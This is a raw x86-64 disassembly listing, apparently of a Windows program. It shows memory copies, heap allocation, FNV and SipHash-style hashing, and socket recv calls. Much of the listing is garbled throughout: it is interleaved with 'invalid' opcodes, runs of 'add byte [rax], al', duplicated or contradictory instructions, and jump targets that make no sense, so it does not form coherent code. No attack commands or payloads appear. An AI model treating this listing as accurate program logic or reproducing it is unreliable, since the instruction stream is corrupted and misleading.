movaps xmm1, xmmword [rbp + 0x340]
movaps xmm2, xmmword [rbp + 0x350]
movaps xmm3, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x80], xmm3
movaps xmmword [rbp + 0x70], xmm2
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
test r15b, r15b
jne 0x140127980
mov qword [rbp + 0x6d0], r13
movzx eax, byte [rbp + 0x800]
mov byte [rbp + 0x6d8], al
movzx eax, byte [rbp + 0x810]
mov byte [rbp + 0x6d9], al
mov r8d, 0xae
lea rcx, [rbp + 0x6da]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x788], bl
movzx eax, byte [rbp + 0x7dd]
mov byte [rbp + 0x789], al
mov byte [rbp + 0x78a], sil
mov eax, dword [rbp + 0x510]
mov dword [r14 - 0x15], eax
movzx eax, byte [rbp + 0x514]
mov byte [r14 - 0x11], al
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x798], rax
movaps xmm0, xmmword [rbp + 0x1f0]
movups xmmword [r14], xmm0
movzx ecx, byte [rbp + 0x50]
movzx eax, byte [rbp + 0x51]
mov byte [rbp + 0x800], al
movzx eax, byte [rbp + 0x52]
mov byte [rbp + 0x810], al
lea rax, [rbp + 0x53]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x470], xmm0
movaps xmmword [rbp + 0x480], xmm1
movaps xmmword [rbp + 0x490], xmm2
movaps xmmword [rbp + 0x4a0], xmm3
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x4b0], xmm0
mov rax, qword [rax + 0x4d]
mov qword [rbp + 0x4bd], rax
mov byte [rbp + 0x7e8], cl
cmp cl, 3
je 0x140127964
imul rdx, r12, 0x58
mov r8d, dword [r15 + rdx + 0x34]
mov r9d, dword [r15 + rdx + 0x38]
mov rdx, qword [rbx + 0x10]
mov r10, qword [rbx + 0x20]
cmp r8d, r9d
ja 0x140127bfa
test r8d, r8d
je 0x140125b33
cmp r10, r8
jbe 0x140125b2d
cmp byte [rdx + r8], 0xc0
jge 0x140125b33
jne 0x140127bfa
test r9d, r9d
je 0x140125b4f
cmp r10, r9
jbe 0x140125b49
test rcx, rcx
je 0x140125d63
cmp word [r13 + 0xb0], 0
je 0x140125bdb
movzx esi, word [r13 + 0xb2]
imul rax, r12, 0x58
cmp word [r15 + rax + 0x28], 0
jne 0x140125cfb
mov di, 1
jmp 0x140125d0d
mov r9d, dword [r13 + 0xb4]
mov rsi, qword [r13 + 0xa8]
test r9, r9
je 0x140124c8f
mov rcx, qword [r13 + 0x98]
cmp rsi, r9
jbe 0x140125cab
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx - 0x80], al
cmp al, 9
mov edi, 0xdb8f0f
add byte [rax], al
cmp byte [rcx + r9], 0xbf
jg 0x140125cb1
jmp 0x140127da5
retf 0x21
mov r9d, dword [r13 + 0xb4]
mov ah, 0
add byte [rax], al
mov rcx, qword [r13 + 0x98]
test r9, r9
je 0x140125cdd
mov rdx, qword [r13 + 0xa8]
cmp rdx, r9
retf 0x860f
invalid
add byte [rax], al
invalid
retf 0x860f
cmp byte [rcx + r9], 0xbf
jg 0x140125cdd
jmp 0x140127de4
mov eax, 1
mov qword [rbp + 0x7e8], rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [rbp + 0x6d0]
movzx eax, byte [rbp + 0x394]
mov byte [rbp + 0x7e4], al
mov eax, dword [rbp + 0x390]
mov dword [rbp + 0x7e0], eax
loopne 0x140125c51
add byte [rax], al
loopne 0x140125c51
add byte [rax], al
movzx ecx, byte [rbp + 0x6d8]
fadd dword [rsi]
add byte [rax], al
movzx eax, byte [rbp + 0x6d9]
fld dword [rsi]
add byte [rax], al
cmp r13, 3
sete r15b
mov qword [rbp + 0x7d0], rsi
mov byte [rbp + 0x810], al
or byte [rax], al
add byte [rax + 0x8008d], cl
add byte [rax], al
invalid
or byte [rax], al
add byte [rax + 0x8008d], cl
add byte [rax], al
jne 0x140125c9d
add byte [rax], al
jne 0x140125c9d
mov bl, 0xa
test rsi, rsi
test esi, esi
test esi, esi
je 0x140125c94
mov rcx, qword [0x14023c258]
adc dword gs:[rax], eax
xor edx, edx
mov r8, qword [rbp + 0x7e8]
call 0x13f125c96
adc eax, 0x69394
ror byte [rbx + rcx*4 - 0x7b], cl
call 0x13f125c96
adc eax, 0x69394
lea rdi, [rbp + 0x50]
jmp 0x1401256b2
mov rdi, qword [rbp + 0x790]
mov bl, 0xa
jmp 0x140125615
jne 0x140127da5
cmp r9d, 5
jne 0x140124c88
lea rdx, [0x1401ea777]
mov r8, r9
call sub.VCRUNTIME140.dll_memcmp
invalid
add byte [rbp - 0x497af040], al
out dx, eax
invalid
invalid
invalid
jmp 0x1401250a0
jne 0x140127de4
mov rdx, r9
call fcn.14017c810
mov edi, eax
mov esi, edx
imul rax, r12, 0x58
pop rax
pop rax
cmp word [r15 + rax + 0x28], 0
je 0x140125d0d
test di, di
je 0x140125d63
movzx edx, word [r15 + rax + 0x2a]
mov eax, 1
cmp eax, 1
je 0x140125d4f
imul rax, r12, 0x58
mov r9d, dword [r15 + rax + 0x2c]
mov rcx, qword [rbx + 0x10]
test r9, r9
je 0x140125d3a
mov rdx, qword [rbx + 0x20]
cmp rdx, r9
jbe 0x140125d34
mov rdx, r9
call fcn.14017c810
test di, di
je 0x140125d5a
movups xmm0, xmmword [0x1401be6d8]
movaps xmmword [rbp + 0x5a0], xmm0
movups xmm0, xmmword [0x1401be6c8]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x6d0]
lea rdx, [rbp + 0x250]
lea r8, [rbp + 0x590]
call fcn.140046c40
cmp byte [rbp + 0x6f0], 2
je 0x140125dc1
add byte [rax], al
je 0x140125f7b
mov rsi, qword [rbp + 0x288]
mov ch, 0x88
add al, byte [rax]
add byte [rax - 0x7b], cl
test rsi, rsi
jne 0x140125ed8
test rsi, rsi
test esi, esi
jne 0x140125ed8
jmp 0x1401262cc
add al, 0
add byte [rdi], cl
mov dh, 0xc3
mov r12, qword [rbp + 0x508]
or byte [0xc15b5ebd], al
in al, 0
add bh, bh
invalid
dec dword [rcx + 9]
invalid
mov r13b, 2
mov rsi, qword [rbp + 0x288]
test rsi, rsi
je 0x1401262cc
or byte [0xc15b5ebd], al
in al, 0
add bh, bh
add bh, bh
invalid
cmp dword [rbp + 0x250], 2
add byte [rdx], al
jne 0x140125f87
xor eax, eax
cmp bl, 0x51
sete al
movdqu xmm0, xmmword [rbp + 0x258]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm8
movdqa xmmword [rbp + 0x6d0], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm9
movdqa xmmword [rbp + 0x6e0], xmm1
add byte [rsi + 0xf], ah
jg 0x140125ea2
invalid
invalid
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140125ea2
invalid
add byte [rax], al
lea rcx, [rbp + 0x7a0]
add byte [rax], al
movdqa xmmword [rcx - 0xa0], xmm6
mov qword [rcx - 0x90], 0
xor dword [rax - 1], 0xffff
add byte [rax], al
invalid
jg 0x140125edd
invalid
invalid
dec dword [rax - 0x39]
xor dword [rax - 1], 0xffff
add byte [rax], al
invalid
inc dword [rax]
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], eax
add byte [rcx], al
add byte [rax], al
invalid
invalid
or byte [rax], al
mov qword [rbp + 0x100], rax
add byte [rcx], al
add byte [rax], al
mov r8d, 8
add byte [rax], al
lea rdi, [rbp + 0x6d0]
mov rcx, rdi
lea r14, [rbp + 0x100]
mov rdx, r14
call fcn.1400229b0
cmp bl, 0x51
jne case.0x1401132c0.394
mov r8d, 7
mov rcx, rdi
mov rdx, r12
jmp 0x140126036
mov r13, qword [rbp + 0x7f0]
jmp 0x1401262e1
xor ecx, ecx
cmp bl, 0x51
sete cl
movabs rax, 0xcbf29ce484222325
retf
xor rcx, rax
movabs rdx, 0x1efac7090aef4a21
imul rcx, rdx
scasd eax, dword [rdi]
retf 0xfb80
push rcx
jne 0x140126137
retf
scasd eax, dword [rdi]
retf 0xfb80
movzx eax, byte [r12]
xor rcx, rax
movabs r8, 0x100000001b3
imul rcx, r8
movzx eax, byte [r12 + 1]
xor rax, rcx
imul rax, r8
movzx ecx, byte [r12 + 2]
xor rcx, rax
imul rcx, r8
movzx eax, byte [r12 + 3]
xor rax, rcx
imul rax, r8
movzx ecx, byte [r12 + 4]
xor rcx, rax
imul rcx, r8
movzx edx, byte [r12 + 5]
push rsp
and al, 5
xor rdx, rcx
imul rdx, r8
movzx eax, byte [r12 + 6]
invalid
xor rax, rdx
imul rax, r8
rol byte [rcx - 0x4b], 1
jmp 0x140126145
movzx eax, r12b
mov qword [rbp + 0x100], rax
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov r8d, 8
mov rcx, rdi
mov rdx, r14
call fcn.1400229b0
mov rcx, qword [rbp + 0x6e0]
mov r9, qword [rbp + 0x700]
shl r9, 0x38
or r9, qword [rbp + 0x708]
mov rax, qword [rbp + 0x6e8]
mov r8, qword [rbp + 0x6d0]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rbp + 0x6d8]
add rdx, rax
rol rax, 0x10
adc byte [rax + 0x31], cl
ror byte [rcx + 1], 1
invalid
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
rcl dword [rcx], 0x4c
xor eax, eax
xor rax, r8
xor rcx, rdx
ror dword [rax - 0x3f], 1
rol rdx, 0x20
xor r8, r9
enter 0x149, 0xffffffffffffffc8
ret 0x4d20
enter 0x149, 0xffffffffffffffc8
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
rol eax, 0x20
rol eax, 0x20
xor rdx, 0xff
xor edx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
adc eax, 0x48ca0148
rol ecx, 0x11
adc eax, 0x48ca0148
rol ecx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
xor eax, eax
add r8, rcx
rol rcx, 0xd
rol ecx, 0xd
rol ecx, 0xd
xor rcx, r8
rol r8, 0x20
and byte [rax + 1], cl
ret 0xc148
rcl byte [rax], 0x48
adc byte [rax + 0x31], cl
ror byte [rcx + 1], 1
ror byte [rax - 0x3f], 0xc0
adc eax, 0x48ca0148
rol ecx, 0x11
and byte [rax + 1], cl
ret 0xc148
adc byte [rax + 0x31], cl
ror byte [rcx + 1], 1
ror byte [rax - 0x3f], 0xc0
adc eax, 0x48ca0148
rol ecx, 0x11
xor rcx, rdx
rol rdx, 0x20
rol edx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x140126145
movzx eax, r12b
xor rax, rcx
imul rax, rdx
mov r13b, 2
invalid
add ah, byte [0x14012e149]
and eax, 0x7fff
movzx ecx, word [rbp + 0x2a8]
mov bh, 0x8d
test al, 2
add byte [rax], al
mov edi, eax
and edi, ecx
iretd
mov r8, qword [rbp + 0x268]
mov eax, dword [rbp + 0x268]
invalid
iretd
mov eax, dword [rbp + 0x268]
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
jo 0x140126163
mov r9, qword [rbp + 0x270]
lea esi, [rax + 2]
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
mov rdx, qword [rbp + 0x278]
js case.0x1401156eb.346
add byte [rax], al
xor r10d, r10d
jmp 0x140126176
invalid
invalid
inc r10
inc rdi
ret 0xff48
mov r11, rdi
sti
nop dword [rax]
mov rdi, r11
mov r11d, 0
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 0x31], cl
cmp rdi, r9
jae 0x140126180
movzx ebx, word [r8 + rdi*4]
cmp rbx, 0xffff
inc dword [rax]
add byte [rdi], cl
test byte [rcx + rax], ch
add byte [rax], al
inc dword [rax]
add byte [rdi], cl
test byte [rcx + rax], ch
add byte [rax], al
movzx r11d, word [r8 + rdi*4 + 2]
mov r14d, ecx
and r14d, r11d
mov r15d, edi
sub r15d, r14d
mov r14d, ecx
and r14d, r15d
cmp r10, r14
ja 0x1401262cc
cmp r11w, ax
jne 0x140126170
ret
cmp rsi, rbx
jbe 0x14012793d
imul r11, rbx, 0x68
lea r14, [rdx + r11]
add r14, 0x40
cmp qword [rdx + r11 + 0x40], 0
je 0x140126214
cmp r13b, 2
je 0x140126170
cmp qword [r14 + 0x10], 7
jne 0x140126170
mov r14, qword [r14 + 8]
mov r15d, dword [r14]
xor r15d, dword [r12]
invalid
or byte [rbp - 0x75], al
xor r15d, dword ds:[r12]
invalid
and al, 0x45
mov esi, dword [rsi + 3]
mov r14d, dword [r14 + 3]
xor r14d, dword [r12 + 3]
or r14d, r15d
or esi, edi
je case.0x140115f51.255
add eax, dword [rbp + 9]
dec byte [rdi]
test dword [rsi - 1], ebx
pop rsi
invalid
invalid
or esi, edi
jne 0x140126170
pop rsi
invalid
jmp 0x140126228
cmp r13b, 2
jne 0x140126170
push rdx
invalid
invalid
invalid
std
add cl, byte [rdi]
test dword [rdx - 1], edx
push rdx
invalid
invalid
push rdx
invalid
cmp byte [r14 + 8], r12b
jne 0x140126170
invalid
cmp qword [rdx + r11], 0
mov r13, qword [rbp + 0x7f0]
lea r14, [rbp + 0x7a0]
add byte [rbx + rcx*4 - 0x53], cl
invalid
je 0x140126250
add rdx, r11
mov rdx, qword [rdx + 8]
push rdx
or byte [rax - 0x73], cl
lea edx, [rax + 2]
add byte [rax], al
push rdx
or byte [rax - 0x73], cl
lea edx, [rax + 2]
add byte [rax], al
call fcn.1400672f0
lea rcx, [rbp + 0x6d0]
lea rdx, [rbp + 0x250]
mov r8, rdi
mov r9, rbx
call fcn.140046960
lea rcx, [rbp + 0x6e8]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x3b0], rax
add eax, dword [rax]
add byte [rdi], cl
adc byte [rcx], al
add eax, dword [rax]
add byte [rdi], cl
adc byte [rcx], al
movdqu xmm1, xmmword [rcx + 0x10]
movdqa xmmword [rbp + 0x3a0], xmm1
add eax, dword [rax]
add byte [rdi], cl
sub dword [rbp + 0x390], eax
add eax, dword [rax]
add byte [rdi], cl
sub dword [rbp + 0x390], eax
mov rax, qword [rbp + 0x710]
test rax, rax
je 0x1401262b6
mov rdx, qword [rbp + 0x718]
mov r8, qword [rbp + 0x720]
lea rcx, [rbp + 0x728]
call qword [rax + reloc.WS2_32.dll_recv]
cmp byte [rbp + 0x3b0], 2
jne 0x140126df4
test dword [rcx], esi
or eax, dword [rax]
invalid
add byte [rax], al
add cl, byte [rdi]
test dword [rcx], esi
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x5b], cl
mov qword [rbp + 0x508], r12
or byte [0x155fd62cc], al
jmp 0x1401262e1
mov qword [rbp + 0x508], r12
mov r13, qword [rbp + 0x7f0]
lea r14, [rbp + 0x7a0]
invalid
add byte [rdi], cl
adc byte [0x1401be588], al
movups xmm0, xmmword [0x1401be588]
movaps xmmword [rbp + 0x5a0], xmm0
movups xmm0, xmmword [0x1401be578]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x6d0]
lea rdx, [rbp + 0x250]
lea r8, [rbp + 0x590]
call fcn.140046c40
cmp byte [rbp + 0x6f0], 2
je 0x14012633f
mov rax, qword [rbp + 0x6d0]
mov rdx, qword [rbp + 0x6d8]
add byte [rax], al
add byte [rax], al
mov r8, qword [rbp + 0x6e0]
lea rcx, [rbp + 0x6e8]
call qword [rax + reloc.WS2_32.dll_recv]
movups xmm0, xmmword [0x1401bf620]
movaps xmmword [rbp + 0x5a0], xmm0
movups xmm0, xmmword [0x1401bf610]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x6d0]
add byte [rax], al
add byte [rax], al
lea rdx, [rbp + 0x250]
add byte [rax], al
lea r8, [rbp + 0x590]
add byte [rax], al
call fcn.140046c40
cmp byte [rbp + 0x6f0], 2
mov ebp, 0x6f0
invalid
or dl, dh
inc dword [rax + 0x6f0bd]
invalid
invalid
invalid
invalid
mov ebp, 0x6f0
add dh, byte [rdi + rbx + 0x48]
mov rax, qword [rbp + 0x6d0]
add byte [rdx], al
je 0x14012639d
mov rax, qword [rbp + 0x6d0]
mov rdx, qword [rbp + 0x6d8]
mov r8, qword [rbp + 0x6e0]
lea rcx, [rbp + 0x6e8]
lea ecx, [rbp + 0x6e8]
lea ecx, [rbp + 0x6e8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdi, qword [r13 + 0x98]
mov rsi, qword [r13 + 0xa8]
add byte [rax - 0x7b], cl
invalid
je 0x1401263fa
add byte [rcx - 0x75], cl
mov ch, 0xa8
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rdx + rcx*2 + 0xf]
mov byte [rsi + 0xf000018], al
mov dh, 5
pop r15
adc dword [rax], eax
js 0x140127c3c
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne 0x1401263df
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127ba3
mov qword [0x14023c258], rax
mov rcx, rax
mov ecx, eax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1401263ff
jmp 0x140127ba3
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x6d8], rsi
mov qword [rbp + 0x6e0], rsi
lea rcx, [rbp + 0x590]
lea rdx, [rbp + 0x6d0]
lea edx, [rbp + 0x6d0]
add eax, 0x8d480000
xchg ebp, eax
rol byte [rsi], 1
lea edx, [rbp + 0x6d0]
add byte [rax], al
call fcn.140012450
shr dh, 0xff
lea rcx, [rbp + 0x6d0]
lea rdx, [rbp + 0x590]
call fcn.14003be20
cmp byte [rbp + 0x6d0], 3
je 0x140127b34
mov rax, qword [rbp + 0x720]
test dword [rax], esp
invalid
and byte [rdi], al
add byte [rax], al
mov qword [rbp + 0x4c0], rax
movups xmm0, xmmword [rbp + 0x710]
invalid
add byte [rax], al
test eax, eax
add al, 0
add byte [rdi], cl
adc byte [rbp + 0x710], al
invalid
add byte [rax], al
invalid
movaps xmmword [rbp + 0x4b0], xmm0
movups xmm0, xmmword [rbp + 0x6d0]
test dword [rax + 0xf000004], esi
add al, 0
add byte [rdi], cl
adc byte [rbp + 0x6d0], al
movdqu xmm1, xmmword [rbp + 0x6e0]
invalid
movups xmm2, xmmword [rbp + 0x6f0]
movups xmm3, xmmword [rbp + 0x700]
movaps xmmword [rbp + 0x4a0], xmm3
sub dword [rbp + 0x4a0], ebx
xchg ebp, eax
invalid
sub dword [rbp + 0x4a0], ebx
add byte [rdi], cl
movaps xmmword [rbp + 0x490], xmm2
sub dword [rbp + 0x490], edx
movdqa xmmword [rbp + 0x480], xmm1
movaps xmmword [rbp + 0x470], xmm0
cmp qword [r13], 0
cmp dword [rbp], 0
lea rsi, [0x1401b9e38]
xor eax, 0x93981
lea rdi, [0x1401ea218]
je case.0x14012082a.70
cmp eax, 0x5074000c
mov rax, qword [r13 + 8]
test rax, rax
je case.0x14012082a.70
invalid
or byte [r8 - 0x7b], r9b
sal byte [rdi + rax*2 + 0x4d], 0x8b
mov r8, qword [r13 + 0x10]
invalid
invalid
mov r8, qword [r13 + 0x10]
mov r8, qword [r13 + 0x10]
mov r9, qword [r13 + 0x18]
lea rcx, [rbp + 0x6d0]
add byte [rax], al
sbb byte [r8 - 0x73], r9b
invalid
add byte [rax], al
mov rdx, qword [rbp + 0x4f0]
xchg ebp, eax
invalid
add al, 0
add bh, bh
adc byte [rdi], cl
call qword [rax]
movups xmm0, xmmword [rbp + 0x6d0]
adc byte [rbp + 0x6d0], al
adc byte [rbp + 0x6d0], al
add byte [rax], al
movdqu xmm1, xmmword [rbp + 0x6e0]
outsd dx, dword [rsi]
invalid
loopne 0x1401264f4
add byte [rax], al
movdqa xmmword [rbp + 0x520], xmm1
jg 0x140126481
lea esp, [rax]
add eax, 0x290f0000
add byte [rax], al
invalid
invalid
and byte [0x1692164fa], al
add byte [rax], al
movaps xmmword [rbp + 0x510], xmm0
jmp 0x140126529
invalid
test dword [rax], edx
add eax, 0x28eb0000
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add bl, ch
sub byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x510], rsi
mov qword [rbp + 0x518], rdi
invalid
invalid
add byte [rax], al
mov ch, reloc.WS2_32.dll_recv
add eax, 0x89480000
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov ebp, 0x518
sbb byte [0xcd5a6520], al
add byte [rax], al
lea rax, [rbp + 0x520]
lea eax, [rbp + 0x520]
test dword [rax], esp
add eax, 0xff30000
add byte [rax], al
movdqu xmmword [rax], xmm6
add byte [rax], al
movdqu xmmword [rax], xmm6
movq qword [rax], mm6
movdqu xmmword [r14 - 0x50], xmm6
movq qword [r14 - 0x50], mm6
jg 0x1401265a4
mov al, 0xf3
movq qword [r14 - 0xa0], mm6
jg case.0x1401194fb.117
invalid
invalid
invalid
invalid
movdqu xmmword [r14 - 0xa0], xmm6
jg case.0x1401194fb.117
mov dh, 0x60
invalid
invalid
invalid
movdqu xmmword [r14 - 0x88], xmm6
movq qword [rsi - 0x88], mm6
invalid
lea rax, [rbp + 0x106]
lea eax, [rbp + 0x106]
test dword [rsi], eax
add dword [rax], eax
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
movabs rcx, 0x101010101010101
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
mov qword [rax + 0x10], rcx
mov dword [rax + 0x10], ecx
movups xmmword [rax], xmm7
cmp byte [rax - 0x39], cl
test eax, edx
rol byte [rsi], 1
mov qword [rbp + 0x6d0], 0
mov dword [rbp + 0x6d0], 0
rol byte [rsi], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test eax, ebp
invalid
mov qword [rbp + 0x6e8], 2
mov qword [rbp + 0x6f0], 0
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, esi
invalid
invalid
invalid
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x6f8], 8
test eax, edi
invalid
add byte [rax], cl
add byte [rax], al
add byte [rax], al
invalid
invalid
test dword [rax], edx
invalid
add byte [rax], al
mov qword [rbp + 0x710], 8
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov word [rbp + 0x728], 0
test dword [rax], ebp
invalid
add byte [rax], al
add dh, al
add byte [rax], al
mov byte [rbp + 0x730], 0
test dword [rax], esi
invalid
add byte [rax], al
mov qword [rbp + 0x740], rsi
mov ch, 0x40
invalid
add byte [rax - 0x77], cl
mov ebp, 0x748
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x748], rdi
invalid
add byte [rax], al
mov qword [rbp + 0x760], rsi
lea rax, [0x1401eaa68]
lea eax, [0x1401eaa68]
invalid
add byte [rax - 0x73], cl
add eax, 0xc44ac
or al, 0
lea eax, [0x1401eaa68]
or al, 0
add byte [rax - 0x77], cl
mov qword [rbp + 0x768], rax
test dword [rax + 7], ebp
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax + 7], esi
jo 0x1401265cf
mov qword [rbp + 0x770], 1
mov dword [rbp + 0x770], 1
jo 0x1401265cf
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x778], 0
mov qword [rbp + 0x778], 0
mov dword [rbp + 0x778], 0
invalid
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rax - 0xfffff9], eax
add byte [rdi], 0
add bh, bh
mov word [rbp + 0x780], 0xffff
mov dword [rbp + 0x780], 0x100fffff
test dword [rax], eax
add dword [rax], eax
add bl, dh
movq mm1, qword [rbp + 0x10e]
add byte [rdi], 0
add bh, bh
add byte [rax], al
invalid
dec dword [rdi]
adc byte [rbp + 0x100], al
movups xmm0, xmmword [rbp + 0x100]
movdqu xmm1, xmmword [rbp + 0x10e]
movdqu xmmword [r14 - 0x10], xmm1
movups xmmword [r14 - 0x1e], xmm0
mov qword [rbp + 0x7a0], 0
mov byte [rbp + 0x7a8], 2
add byte [rax], al
add cl, byte [rax - 0x75]
test dword [rax + 0xf000006], ebx
mov dh, 0x38
add byte [rax], al
add cl, byte [rax - 0x75]
test dword [rax + 0xf000006], ebx
mov dh, 0x38
invalid
lea rcx, [0x1401ef958]
movsxd rax, dword [rcx + rdi*4]
invalid
add al, 0xb9
add rax, rcx
jmp rax
invalid
mov dword [rbp + 0x7fc], 0
jmp 0x140126738
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xf2e904], dh
mov al, 4
jmp 0x140126730
mov al, 4
jmp 0x140126730
movzx eax, byte [r13 + 0xe1]
add byte [rax], al
mov byte [rbp + 0x7de], al
movzx eax, byte [r13 + 0xe2]
mov byte [rbp + 0x7df], al
mov rcx, qword [rbp + 0x4e0]
movzx eax, byte [rcx + 4]
mov byte [rbp + 0x104], al
mov eax, dword [rcx]
mov dword [rbp + 0x100], eax
mov rax, qword [r13 + 0xe8]
mov qword [rbp + 0x500], rax
test dword [rax], eax
add eax, 0xf410000
mov dh, 0x85
lock add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rbp + 0x4f8]
test dword [rax], eax
add eax, 0xf410000
mov dh, 0x85
lock add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov ecx, dword [rbp + 0x4f8]
add byte [rax], al
and rcx, 0xffffffffffffff00
or rcx, rax
loope 0x140126694
invalid
dec dword [rax + 9]
ror dword [rax - 0x77], 0x8d
mov qword [rbp + 0x4f8], rcx
mov al, 9
jmp 0x140126730
mov qword [rbp + 0x4f8], rcx
mov al, 9
jmp 0x140126730
mov al, 2
jmp 0x140126730
mov al, 3
jmp 0x140126730
mov al, 7
jmp 0x140126730
mov al, 1
jmp 0x140126730
mov al, 5
jmp 0x140126730
mov al, 6
jmp 0x140126730
mov rsi, qword [r13 + 0xe8]
mov rdi, qword [r13 + 0xf0]
test rdi, rdi
je 0x140126d2d
js 0x140127d81
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne 0x14012670c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127d65
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x140126d32
mov al, 8
nop word [rax + rax]
mov dword [rbp + 0x7fc], eax
xor edi, edi
movzx eax, byte [rbp + 0x104]
mov byte [rbp + 0x6cc], al
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x6c8], eax
movzx eax, byte [rbp + 0x6d8]
mov byte [rbp + 0x810], al
movzx edx, byte [rbp + 0x6d9]
mov rsi, qword [rbp + 0x790]
cmp edi, 3
sete byte [rbp + 0x7e8]
mov byte [rbp + 0x800], dl
mov r14, qword [rbp + 0x798]
movzx r15d, byte [rbp + 0x788]
mov r8d, 0xae
lea rcx, [rbp + 0x100]
lea rdx, [rbp + 0x6da]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x7a0]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x330], xmm0
cmp r15b, 0xa
jb 0x1401267d2
test r14, r14
je 0x1401267d2
mov r8d, 0xae
lea r14, [rbp + 0x50]
mov rcx, r14
lea rdx, [rbp + 0x100]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x6c8]
mov dword [rbp + 0x7e0], eax
movzx eax, byte [rbp + 0x6cc]
mov byte [rbp + 0x7e4], al
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x1f0], xmm0
mov r12, qword [rbp + 0x500]
mov rbx, qword [rbp + 0x4f8]
lea rsi, [rbp + 0x39a]
lea r15, [rbp + 0x6da]
movzx eax, byte [rbp + 0x810]
mov qword [rbp + 0x390], rdi
mov byte [rbp + 0x810], al
mov byte [rbp + 0x398], al
movzx eax, byte [rbp + 0x800]
mov byte [rbp + 0x399], al
mov r8d, 0xae
mov rcx, rsi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x7fc]
mov byte [rbp + 0x448], al
movzx eax, byte [rbp + 0x7de]
mov byte [rbp + 0x449], al
movzx eax, byte [rbp + 0x7df]
mov byte [rbp + 0x44a], al
mov eax, dword [rbp + 0x7e0]
lea rcx, [rbp + 0x394]
mov dword [rcx + 0xb7], eax
movzx eax, byte [rbp + 0x7e4]
mov byte [rcx + 0xbb], al
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x4d0], rbx
mov qword [rbp + 0x458], rbx
movaps xmm0, xmmword [rbp + 0x1f0]
movups xmmword [rcx + 0xcc], xmm0
